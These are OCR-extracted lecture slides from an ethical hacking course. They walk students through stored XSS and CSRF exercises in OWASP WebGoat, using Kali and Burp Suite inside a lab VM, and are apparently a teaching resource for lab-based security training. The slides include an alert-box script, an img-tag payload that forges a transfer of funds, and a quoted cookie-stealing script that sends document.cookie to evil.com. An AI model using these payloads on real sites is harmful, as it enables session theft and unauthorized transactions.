gu%engcatrl-ﬁn Flaws parameters to 0% commands, scripts, and database queries, It is particularly important for
Cl-old:rQu\;?ityows content that will be permanently stored somewhere in the application. Users should not be

e i able to create message content that could cause another user to load an undesireable page or
undesireable content when the user's message is retrieved,

Solution Yideos Restart this Lesson

LAE: Cross Site Scripting Title:

stage 1:Stored ¥55 Message:

stage : Elock Stored w53
using Input Walidation

Stage S Stored w8l
Rewizited

stage 4 Block Stored w55
using output Encoding

Stage 5: Reflected 53

stage 6 Block Reflactad 355 Siubhmit
Stored M55 Attacks

Reflected ¥55 Attacks

Crozs Site Request Forger MESSEQE List

[CSRFY
C5RF Frompt By-Pass ﬁSFEcT

CSRE Token By-Pass Application Security Experts

| £

Navigate to Stored XSS Attacks on left panel

il A
g

Stored Cross-Site Scripting (XSS) Example
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title: ME's
Message:

Mirai hot attacks agaid

Message List

ASPECT

Application Security Experts

£

Add first message
109
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title: Mew lah

Mes530€!New extra credit lab available

Message List
Mews

| £

~— First message listed here ASPE [:1')

Add second message
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title: Malicious post
Message;

<script language="javascript”
type="text/Javascript"ralert ("Mu Ha Ha Ha"):</scriptr

Messaqge List

Mews
New lah .
R — Previously added messages \ . 3
ASPECT i
Add a third, malicious message, using javascript
<script language="javascript" type="text/javascript">alert("Mu Ha Ha Ha");</script> 111

Also in /home/cis76/depot/lesson12/xss02/code.txt directory on Opus
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title:
Message:

Messaqge List
2 WS

),

Malicious post

ASPECT

Select a "good" message from Message list to retrieve from the database
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title:
Message:

Message Message Contents For: News

Title: Mews
contents are Message:Mirai bot attacks again

disp/ayed here  Posted by:guest

Messaqge List
Mews beos

Malicious post

ASFEI:T]

Next select the malicious message from Message list to retrieve from the database 13
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

( € ;) (i) | 10.76.5.101/%ebGoat attack?Num=15 X ‘ } Q search

Mu Ha Ha Ha

Connected to 10.76.5.101...

114
When the malicious message is retrieved the stored javascriptis executed
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Stealing
Cookies with
XSS

(work in progress)
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Cross-Site Scripting (XSS)

For both types of XSS, consider a snippet of javascript like this:
<script>window.location="http://evil.com/?victimcookie="+document.cookie</script>

If a hacker can get this to render on another site she can collect all the user cockies for any victim
that loads such a page on that site. Reflected XSS and Stored XSS (or Persistent XSS) are two
different methods for getting this script to show up on a vulnerable site.

» Reflected XSS - the script itself is passed in as a request parameter to some vulnerable part of
the site, and the site renders the javascript on the page.

« Stored XSS - the javascript is deviantly stored in the page itself on a long-term basis.
Reflected XSS Example

| am a hacker and | send out a phish email with the following body.

Check this out: http://weak-site.com/search?
keyword=%3Cscript%3Ewindow.location%3D %27 http%3A%2F %2F evil.com%2F %3F victimcook
ie%3D%27 %2Bdocument.cookie%3C%2F script%3E

where the value of the keyword param decodes to the javascript snippet above. When the victim
clicks the link, weak-site.com shows a page with the script embedded. The browser redirects the
victim to the hacker's site and delivers the victim's cookie from weak-site.com.

Stored XSS Example

| am a hacker and | create a blog post on weak-site.com with the following content:

LOL :p. <script>window.location="http://evil.com/?victimcookie="+document.cookie</script>

If the site renders my post intact, | can collect the cookie value of every user who views my post.

answered Oct 30 "15 at 23:20

% Jay Huggins
® 1319010103

https://www.owasp.org/index.php/Top_10

2013-A3-Cross-Site Scripting (XSS)

116
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Cross-Site Request Forgery (CSRF)

Another malicious type of attack on a website.

Also known as a "one-click attack” or "session riding"
attack.

The browser must already be authenticated on a legitimate
website and is therefore "trusted" by that web application.

The browser is then tricked into sending unauthorized
malicious (forged) requests to that website.

This vulnerability can be extremely dangerous ... think
online banking.

[ —————
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https://en.wikipedia.org/wiki/Cross-site_request_forgery
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Cross-Site Request Forgery (CSRF)

Example Overview:

In this WebGoat example malicious html code is inserted into a
post on a forum-like web application. This code is stored in the
database and isn't rendered until a user reads the post. When
the malicious code is activated the browser will be tricked into
sending an unauthorized (forged) request to another website.
The browser thinks it is getting an image file to display however
there is not image.

We will browse to the WebGoat application using Firefox on EH-

Kali-xx. Burp Suite will be used on EH-Kali-xx as a web proxy so
we can intercept and monitor every request the browser makes.
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Cross-Site Request Forgery (CSRF) References

SIMPLYEASYLEARMNINEG SIMPLYEASYLEARNINEG

)" tutorialspoint iStutorialspoint

T o x B - o x ) Mozilla Firefox

X\ ooy O x (I3 CSRF I - o Secumy Tetog e X/ @ securey g % { [3 E5aE x
1076.5.108 et -

‘
Ed

>

5 ey asla i ot e erp—— ; @ s 0
Lesson Plan Title: How 1o Perform Cross Site Requast Forgery.

(] - t & » 0 & SECURITY TESTING - CROSS-SITE REQUEST FORGERYCSRF
Concept Topic To Teach:
b @VIDEOS  Q Search s o This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks
e v How the attacks works

Cross-Site Raquest Forgery (CSRF/XSRF) is an attack that ticks the victim into loading a page that contains img links
like the one below:

<img src="Htp iwww mwbank comsendFunds >

When the vicim's browser attempts to render this page, it wil issue a request to wwwmybankcom to the
transferFunds do page with the specified parameters. The browser will think the link is to get an image, even though it

£ us underszana Threst veciors.
A A A

Introducing Dynamic Mapping
53y gocdbye to static network diagrams

o he s i i oncionaly

simply easy learning

@2y wte co corpert r yous mer ene, and h
e e 1 w4t 1 e RS
L ———
R

actually is a funds ransfer function. The request will include any cookies assaciated with the site. Therefore, if the user
has authenticated to the site, and has either a permanent cookie or even a curent session cookie, the site will have no
way to Gistnguish this from a legitimate user request. In this way. the atacker can make the icbm perform actions that

they didn'tintend to, such as logout, purchase item, or any other function provided by the vuinerable website

Securiy Testing Tutortal @ Pravious Page Next Page @

Security Testing Tutorial

(2 POF Version @ Quick Guide (7 Rescurces @ b Search @ DISOUSSGN

S ok oo ag et ht vt e e oo ks
e 8 he dea o s st
General Goal(s):

Your goal is to send an email to & newisarou that contains an image whose URL is pointing to & maicious request Try
- k pe - :
prapeetely

@ Securny Tessng Hame
& Securty Tectng Overview

toinclude a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter
“transferFunds=4000" You can copy the shortcut from the feft hand menu by right clicking on the left hand menu and

© Securny Testng Process

@ Matacious Sofware Securty Testing is performed to reveal securlty flaws in the chaosing copy shortcut. Whoever receives this email and happens to be auinenticated at that time val have his funds

S D Experierice the Power of - * drs ot vt sl e s i Irch el Whon jod i id Geati e successtul, refrash the page and you wil find the green chack on the left hand
side menu.

o otoco B This tutorial will teach you the core concepts of Securty Testing Note that the “"Screen” and “menu” GET variables will vary between WebGoat builds. Copying the menu link

o et 1t et
st i s s e 10 abe these s

Spark Streaming

Try StreamAnalytix on Cloud

on the left will give you the current values.

and each of these sections contain related topics with simple and

useful examples.

Exampie

© Encoding and Decoding

© Cryptegraphy Overview

& Sams Grgn Poscy Audience Belon & clssc samgle of C385
© Testing Coonies This refarance has been prapared for the beginners to help them L

i leiie | o undwstond the bk of ety Tooig, Thi tokers il =
Give Yo enouh understanding on securty tetng fom where  Froovia |

you can take yoursslf to a higher level of expertise. .
Piiacuers comror -

@ Testing Injocton

B

https://www.tutorialspoint.com/security

http://10.76.xx.101/WebGoat/sour
e?solution=tru

https://www.tutorialspoint.co

m/security_testing/pdf/cross
site_request_forgery.pdf

testing/index.htm

PDF of the CSRF
testing tutorial

Solution page on
OWASP VM website

Lots and lots of
hacking tutorials

120
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Cross-Site Request Forgery (CSRF) Setup

EH-Kali-xx

Burp Suite on EH-Kali-xx
Burp Suite Free Edition v1.7.03 - ol ix

@ Welcome to Burp Suite Free Edition. Use the options below to create or {
open a project. £

Note! LAsk-Dased projects are only supporied on Sung suite Froressional.

® Temporary project

Burp Suite Free Edition [ ]

Mew proj Choose file...

' A new version of Burp is available.
" Please wvisit https://portswigger.net/burp/freedownload/ to download the latest version.

burpsuite ' R,

Open exi

File: Choose file...

Pause Spider and Scanner

Cancel . Next

Run Burp Suite on EH-Kali, click OK to use the current version.
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 e ® O
EJ Welcome to Burp Suite Free Edition. Use the options below to create or - J 1 11 Y )
open a project. b B
Note: Disk-based projects are only supported on Burp Suite Professional. . R
[ ® Temporary project ]
New project on disk File: Choose file. ..
MName:
Open existing project Name | File
File: Choose file. .
Pause Spider and Scanner
l Cancel J l Mext J

Select "Temporary project” and click the Next button 122
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 e O O

EJ Select the configuration that you would like to load for this project. ;’ . | -'p-‘_ )
| =< -y

[ (= Use Burp defaults ]

Use options saved with project

() Load from configuration file File

File: Choose file... ;

l Cancel J L Back J

Select "Use Burp defaults” and click the Start Burp button 123

[ Default to this option in future
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

-
Burp Suite Free Edition v1.7.03 - Temporary Project e e 0
Burp Intruder Repeater Window Help
[Target l Proxy nSpider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]
J Intercept T HTTP history T WebSockets history T Options ]
Far | Drop Intercept is on Actior omment this it 4] [EJ
Raw H
'y
-
3
v
? < + > || 0 matches

Click the Proxy tab 124
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tﬂler‘ts ]

[ Intercept T HTTP history TW‘ebSockets histary l Options ]

@ Proxy Listeners

() Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure yvour browser to use one of the listeners as
U
proxy server.

l Add J Running | Interface | Invisible | Redirect | Certificate

- l [E] 12?.0.0.1:8080' (] Per-host
Edit
Remove b

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating S5L connections. You can import or export this
certificate for use in other tools or another installation of Burp.

l Import / export CA certificate J l Regenerate CA certificate J

@ Intercept Client Requests
@ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
@ Intercept requests based on the following rules:
l Add J Enabled | Operater | Match type | Relationship | Condition
B & File extension Does not match (~gif$| ~ipg%| ~pnof| ~css$| “iss|...
Edit 8 or Request Contains parameters -
O or HTTP method Does not match (get|post)

125
Click the Options tab and verify Burp Suite is listening on port 8080
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r

Burp Suite on EH-Kali-xx

-
Burp Suite Free Edition v1.7.03 - Temporary Project e 60
Burp Intruder Repeater Window Help
[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tﬁler‘ts ]
Intercept § HTTP histary T WebSockets history T Options ]
Forward Drop Intercept is on Action
Raw Hex

(o) () i) o |

=
x

0 matches

126
Click the Intercept tab to monitor browser requests
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx
Applications ¥ Places v @ Firefox ESR v Mon 19:59

Kali Linux, an Offensive Security Project - Mozilla Firefox

J KaliLinux, an Offensive S.. x |

i ﬁle:7//'/Vusr/s'hare/kali-defau[ts/web/homepage,html c j"ii: Search i 8 @ 3+ @A =¥

[ Most Visited v Jll Offensive Security " Kali Linux “ Kali Docs “e Kali Tools EBExploit-DB Y Aircrack-ng

LK‘ \ L I KALI LINUX KALITOOLS KALI DOCUMENTATION OFFENSIVE SECURITY
B ————————

127

Switch to Workspace 2 and run Firefox
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Firefox on EH-Kali-xx

/_g‘ Kali Linux, an Offensive S... x | &

Kali Linux, an Offensive Security Project - Mozilla Firefox

Cross-Site Request Forgery (CSRF) Setup

Add-ons
Developer Synced Tabs
€2 Sign in to Sync
Customize e O
Select Preferences

@ © 0
i) | file://fusr/share/kali-defaults/web/homepage.html j?AHo;jﬂj' ‘ w B O 3 A #=v é
fi] Most Visited v Jll Offensive Security N Kali Linux " Kali Docs " Kali Tools Q X cut B Copy Pzt
K o LI - 100% +
KALI LINUX  KALITOOLS  KALI DO!
New Window  New Private Save Page
Window
s
& 0 &
w
Print History Full Screen

128
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx

-

Preferences - Mozilla Firefox o ® O
Kali Linux, an Offensive S... xj,-"' 1k Preferences x \"-,\-I-
-(_- | £ Firefox | about:preferences#advanced c | |Q Search | Ww B ¥ H =¥y =
[ Most Visited v Jll Offensive Security S Kali Linux “& Kali Docs e Kali Tools EMExploit-DB Wy Aircrack-ng

Advanced ®

General Data Choices Update Certificates

S Pt Configure how Firefox connects to the Internet Settings... |
& Security Cached Web Content

Your web content cache is currently using 85.9 MB of disk space| Clear Now

€) Sync

| & Advanced Limit cache to 350 MB of space

Override automatic cache management

Offline Web Content and User Data
Your application cache is currently using O bytes of disk space Clear Now

v Tell me when a website asks to store data for offline use Exceptions...

129
Advanced > Network > Settings...
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Firefox on EH-Kali-xx

r 3
Connection Settings [ ]
Configure Proxies to Access the Internet
) No proxy
() Auto-detect proxy settings for this network

(1 Use system proxy settings

.Manual proxy configuration:

@ge this proxy server for all protocols

HTTP Proxy: | localhost

S5L Proxy: I localhost ' Port: I 8080 |°
ETP Proxy: | localhost | Port: I 8080 :
SOCKS Host: [ localhost | Por: | 8080|*
SOCKS w4 SOCKS v5 [JRemote DNS
No Proxy for:
localhost, 127.0.0.1
Example: .mozilla.org, .net.nz, 192.168.1.0/24
() Automatic proxy configuration URL:
I | Reload |
["] Do not prompt for authentication if password is saved
Help ‘ Cancel ‘ ‘ OK

Configure the proxy service as shown above

This will configure

the browserto use
the Burp Suite as a
proxy service.

This enables the
Burp Suite to
intercept and
monitor all Firefox
browser requests.
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx

owaspbwa OWASP Broken Web Applications - Mozilla Firefox @ ® 0

Kali Linux, an Offensive S... xj.-"' @& owaspbwa OWASP B.. x \"-.kli-
(€)® 10765101 ¢ |[Q search R e $ H =y

[ Most Visited v Jll Offensive Security ¢ Kali Linux % Kali Docs "% Kali Tools EMExploit-DB Wy Aircrack-ng

TRAINING APPLICATIONS

©0OWASP WebGoat ©OWASP WebGoat.NET
o Scroll
h OWASP ESAPI Java SwingSet ©OWASP Mutillidae II down a
nteractive i
B b little
©OWASP RailsGoat ©OWASP Bricks
©OWASP Security Shepherd ©Ghost
@Magical Code Injection Rainbow @bWAPP
P We are
Damn Vulnerable Web Application usin g PO d
5 for this
REALISTIC, INTENTIONALLY VULNERABLE APPLICATIONS examp/e
N Py ¥

Browse to 10.76.xx.101 (EH-OWASP-xx) from the EH-Kali-xx 131
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Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help
[ Target T Proxy T Spider T Scanner T Intruder TRepeater T Seguencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts -]
_[ Intercept T HTTP history TWebSockets history T Options ]
Drop Intercept is on Action Comment this item u LEJ
Raw | Headers | Hex
GET /WebGoat/attack HTTP/1.1 A
Host: 10.76.5.101 &
User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: textshtml,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.76.5.101/
Connection: close
=
v
(3] ) [ [s2] | | 0 matches

Click the Forward button on Burp Suite for the login to continue 132
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Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project o =
Burp Intruder Repeater Window Help
[ Target T Proxy T Spider T Scanner T Intruder TRepeater I Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]
J Intercept T HTTP history T WebSockets history T Options ]
Forward Drop Intercept is on Action Comme item +] EJ
Raw Headers Hex
A
~ -
Authentication Required [}
(fe)
et
i

A username and password are being requested by hitp://10.76.5.101. The site says: "WebGoat
Application”

User Name: | guest

Password:

Cancel |

oK |

T T T T Type a search term

-
v

0 matches

Login to WebGoat (from Burp Suite as proxy) with password = guest
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project [— I |

Burp Intruder Repeater Window Help

[Tﬂrget T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts ]

J Intercept T HTTP history T WebSockets history T Options ]

[.#] Request to hitp://10.76.5.101:80

[_ Forward l l
Raw | Headers | Hex

GET /WebGoat/attack HTTP/1.1

Host: 10.7&6.5.101

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language:! en-US,enig=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.76,5.101/

Connection: close

Authorization: Basic Z3V1c306Z3V1c30=

A
s
~ |

Drop J [ Intercept is on ] [ Action J Comment this item

e

e
v

:)
J
Y
Y

0 matches

Click forward to continue 134
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx

WebGoat V5.4 - Mozilla Firefox @ ® O
Kali Linux, an Offensive S.. x Jﬁ WebGoat V5.4 ’t-\"nklll
(€) ®|10.76.5.101/WebGoat/attack @ | |Q search = 3 H oy =

[ Most Visited v [l Offensive Security “& Kali Linux " Kali Docs “e Kali Tools EMExploit-DB Wy Aircrack-ng

Thank you for using WebGoat! This program is a demonstration of common web application flaws. The *
exercises are intended to provide hands on experience with application penetration testing techniques.

The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

OWASP ASPEGT)

The Oopeny Weeh Application Security Projeet

Application Security Experts
WebGoat Authors
Bruce Mayhew SCFO”
Jeff Williams
down a
WebGoat Design Team V5.4 Lesson Contributers b/t
David Anderson Sherif Koussa
Laurence Casey (Graphics) Yiannis Paviosoglou
Rogan Dawes
Bruce Mayhew
Special Thanks for V5.4 Documentation Contributers
) ) ) . Erwin Geirnaert
Brian Ciomei (Multitude of bug fixes) Aung Khant

To all who have sent comments Sherit Koussa

H Start WebGoat ‘
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project o O O
Burp Intruder Repeater Window Help

[Target T Prosy T Spider T Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]

J Intercept T HTTP history TWebSockets history T Options ]

[#) Request to hitp://10.76.5.101:80

l Forward I l Drop J { Intercept is on ] l Action J Comment this item
J Raw T Params T Headers T Hex ]

POST /WebGoat fattack HTTP/1.1

Host: 10.76.5.101

User-Agent: Mozillas5.0 (¥11; Linux x86 64; rv:45.0] Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Enceding: gzip, deflate

Referer: http://10.76.5,101/WebGoat fattack

Cookie: JSESSIONID=300638BCESASODLES22B6STSABZA12024; acopendivids=swingset,jotto, phpbb2, redmine; acgroupswithpersist=nada
Authorization: Basic Z3V1c308Z3V1c30=

Connection: close

Content -Type: application/x-www-form-urlencoded

Content -Length: 19

Ill
-m
=3 |

e

start=5Start+wWebGoat

T T T T Type a search term 0 matches

136
Click Forward on Burp Suite to continue
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx

How to work with WebGoat - Mozilla Firefox - O x

Kali Linux, an Offensive S... »

) ® Connecting...

~
x | &
b

'(- ) (© | 10.76.5.101/WebGoat/attack

E] x||C{Search |‘ﬂ' B ¥ H =y =

5 Most Visited v Jll Offensive Security S Kali Linux " Kali Docs S Kali Tools EBExploit-DB Y Aircrack-ng

W vo.8

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)

Phishing with XSS
LAB: Cross Site Scripting

Stage 1: Stored XSS

Stage 2: Block Stored X35
using Input Validation

Stage 3: Stored X55
Revisited

Stage 4: Block Stored X355
using Output Encoding
Stage 5: Reflected X35
Stage 6: Block Reflected XSS
Stored XSS Aftacks
Reflected XSS Attacks

Cross Site Request Forgery
[C5RF)

CSRF Prompt By-Pass

Waiting for 10.76.5.101...

1 ) 0 LOOKIS! [

Restart this

Solution Videos

How To Work With WebGoat

Scroll
down a
little

Welcome to a short introduction to WebGoat.
Here you will learn how to use WebGoat and additional tools for the lessons.

Environment Information

WebGoat uses the Apache Tomcat server. It is configured to run on localhost although this
easily changed. This configuration is for single user, additional users can be added in the ts
users.xml file. If you want to use WebGoat in a laboratory orin class you might need to ch:
setup. Please refer to the Tomcat Configuration in the Introduction section.

The wWebhGoat Interface

OWASP WebGoat V8.2

Restart this Le

Enter your name in the input field below and press "go” to submit. The server will accept
reguast, reverse the mput, and desplay & back to the user, dlugtratng the basics of handl =

L3

137

Navigate on the left panel to Cross Site Request Forgery (CSRF)
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Forgery (CSRF) Setup

Cross-Site Request

Burp Suite on EH-Kali-xx

-

-
Burp Suite Free Edition v1.7.03 - Temporary Project e e 0
Burp Intruder Repsater Window Hezlp
Target PrnxyT Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]
J Intercept T HTTP history T WebSockets history T Options ]
Forward l Drop Intercept is on Action Comment this item - | l;?J
Raw Params Headers Hex
GET /WebGoat/attack?Screen=204&menu=200 HTTP/1.1 A
Host: 10,76.5,101 -
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8
Accept-Language: en-USs,en:g=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.76.5.101/WebGoat fattack
Cookie: JSESSIONID=300635BCESABOLESZ2BEETEBAB2A12024; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada
Autheorization: Basic Z3V1c308Z3V1c30=
Connection: close
|
-
¥
2 = Gl = Type a search term 0 matches

Click Forward on Burp Suite to continue

\
-

138
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx

Cross Site Request Forgery (CSRF) - Mozilla Firefox e ® O

Kali Linux, an Offensive 5... x/,-"' @ Cross Site Request F... x-\"uk-I-

'(-' (i) | 10.76.5.101/WebGoat/attack? Screen=52&menu=90 c ||Q. Search | W B ¥F & =y =

fi5 Most Visited v Jll Offensive Security S Kali Linux " Kali Docs " Kali Tools EBExploit-DB Wy Aircrack-ng

Ea‘fer blv;rfl'lol'.lvvlslm malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should pca
: the CSRF lesson with an extra parameter "transferfFunds=4000". You can copy the shortcut

Eggiu?ﬁe?wllc? left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoev
Cross-Site Scripting (XSS) receives this email and happens to be authenticated at that time will have his funds transt
When you think the attack is successful, refresh the page and you will find the green check

Phishing with XS5 left hand side menu.
LAB: Cross Site Scripting Note that the "Screen" and "menu” GET variables will vary between WebGoat bt

Copying the menu link on the left will give you the current values.
Stage 1. Stored XS5

Stage 2: Block Stored X355

using Input Validation Title: Fun lab
Stage 3: Stored XSS 5
Revisited Messagei1 1ike this lab a lot!

Stage 4: Block Stored X35
using Output Encoding

Stage 5: Reflected XS5

Stage 6: Block Reflected X55
Stored XSS Attacks

Reflected XSS Attacks

Cross Site Request Forgery
CSRF

CSRF Prompt By-Pass
CSRF Token By-Pass
HTTPOnly Test

Cross Site Tracing (XST) .
Atiacks Submit |

Improper Error Handling
Injection Flaws

139

Fill out the form and click the Submit button
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e e 6
Burp Intruder Repeater Window Help

[Target TPro.-Ly T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer I Extender T Project options T User options Tﬁler‘ts ]

J Intercept T HTTP history TwebSockets history T Options ]

w Request to http://10.76.5.101:80

[[ Forward ][ Drop J r Intercept is on ] [ Action J

J Raw T Params T Headers T Hex ]

POST /WebGoat /attack7Screen=52&menu=5900 HTTP/1.1

Host: 10.76.5,101

User-Agent: Mozilla/5.0 (X11; Linux xB6_&84; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml; ;g=0.9, ¥/%;g=0.8
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.76.5,101/WebGoat fattack ?Screen=52&menu=900

Cookie: JSESSIONID=82209C0F92694E50F1189DADE4SBECAE; acopendivids=swingset,jotto, phpbb2, redmine; acgroupswithpersist=nada
Authorization: Basic Z3V1c306Z3V1c3l=

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

Ill
L1
w3 |

e

title=Fun+lab&message=I+like+this+lab+a+lot% 21 &SUBMIT=5ubmnit

b
v

? T T T Tvpe a search term 0 matches

140
Click Forward on Burp Suite to continue
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Cross-Site Request Forgery (CSRF) Setup

Terminal on EH-Kali-xx

root@eh-kali-05: ~ @ @ O

File Edit View 5Search Terminal Help
:~# scp simben76@opus:../depot/lessonl2/csrf/* .
simben76@opus's password:
payload 100% 108 0.1KB/s 00:00
.~# cat payload
<img src="http://10.76.xx.101/WebGoat/attack?Screen=81l&menu=210&transferFunds=50
00" width="1" height="1" />

~# |

141
Open a terminal and copy the payload file on Opus to root's home directory
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx
Cross Site Request Forgery (CSRF) - Mozilla Firefox e ® 0

Kali Linux, an Offensive S... xj"" & Cross Site RequestF... x \"u\i-

i) | 10.76.5.101/\WebGoat/attack? Screen=52&menu=90 c ||Q Search | wBa 9 3 & =y =

[ Most Visited v Jll Offensive Security S Kali Linux " Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

LOTCUTTENLY

Cross-Site Scripting (XSS) receives this email and happens to be authenticated at that time will have his funds transi *

When you think the attack is successful, refresh the page and you will find the green check

Phishing with XSS left hand side menu.
LAB: Cross Site Scriptin Mote that the "Screen” and "menu” GET variables will vary between WebGoat by

Copying the menu link on the left will give you the current values.
Stage 1. Stored XS5

Stage 2: Block Stored XSS
using Input Validation Title:  |Trouble

Stage 3: Stored XS5 —
Revisited Messaget<img src="http://10.76.xx.101/WebGoat/attack?Screen=81&

Stage 4: Block Stored XS5 menu=210&transferFunds=5000" width="1" height="1" /=
using Output Encoding

Stage 5: Reflected XSS
Stage 6: Block Reflected XSS
Stored XSS Attacks
Reflected XSS Attacks

Cross Site Request Forgery
CSRF,

CSRF Prompt By-Pass
CSRF Token By-Pass
HTTPOnly Test -

Cross Site Tracing (XS 7
Attacks Submit

Improper Error Handling
Injection Flaws

Denial of Service Message List
Insecure Communication Fun lab
Insecure Configuration

Created by Sherif., . = _«v
»

Create new message using the malicious HTML payload (copy an paste

from terminal) to transfer bank funds
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e G 0
Burp Intruder Repeater Window Help

[Tﬂrget T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer ]’ Extender T Project options T User options TAIer‘ts ]

J |ntercept T HTTP history T WebSockets history T Options -]

lZJ Request to http://10.76.5.101:80

l Forward l[ Drop J f Intercept is on ] l Action J Comment this item

2 |?
J Raw T Params T Headers | Hex
POST /WebGoat/attack?Screen=52&menu=200 HTTF/1.1 '
Host: 10.76.5.101 -

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8

Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.76.5.101/WebGoat/attack?Screen=52&menu=900

Cookie: JSESSIONID=822D9C0OF92694ES0F1189DADB4BBECAE; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada
Authorization: Basic Z3V01c306Z3V1c30=

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 189

title=Trouble&message=%3Cimg+src%30% 220t t ps 3A% 2F%2F10. 76, xx . 101% 2PWebGoat X 2Fat t ack% 3FSc reen% 3081% 26menu% 3021 (% 26t rans ferFunds% 3D
5000k 22+width%30% 221%22+height %305 221% 2 2+% 2F% SELSUBMIT=5ubm1t

’)
)
9
)

pe a search term

0 matches

Click Forward on Burp Suite to continue 143
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help
[Target TProhy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts -]
J Intercept T HTTP history T WebSockets history T Options ]
[#] Request to http://10.76.5.101:80
I Forward I l Drop J [ Intercept is on ] l Action J Comment this item 22 2
J Raw T Params T Headers T Hex -]
GET /WebGoat/attack?Screen=52&menu=900&Num=3 HTTP/1.1 A
Host: 10,76.5,101 -
User-Agent: Mozilla/sS.0@ (¥11: Linux x86 64; rv:i45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml; ;g=0.9,%/%;g=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
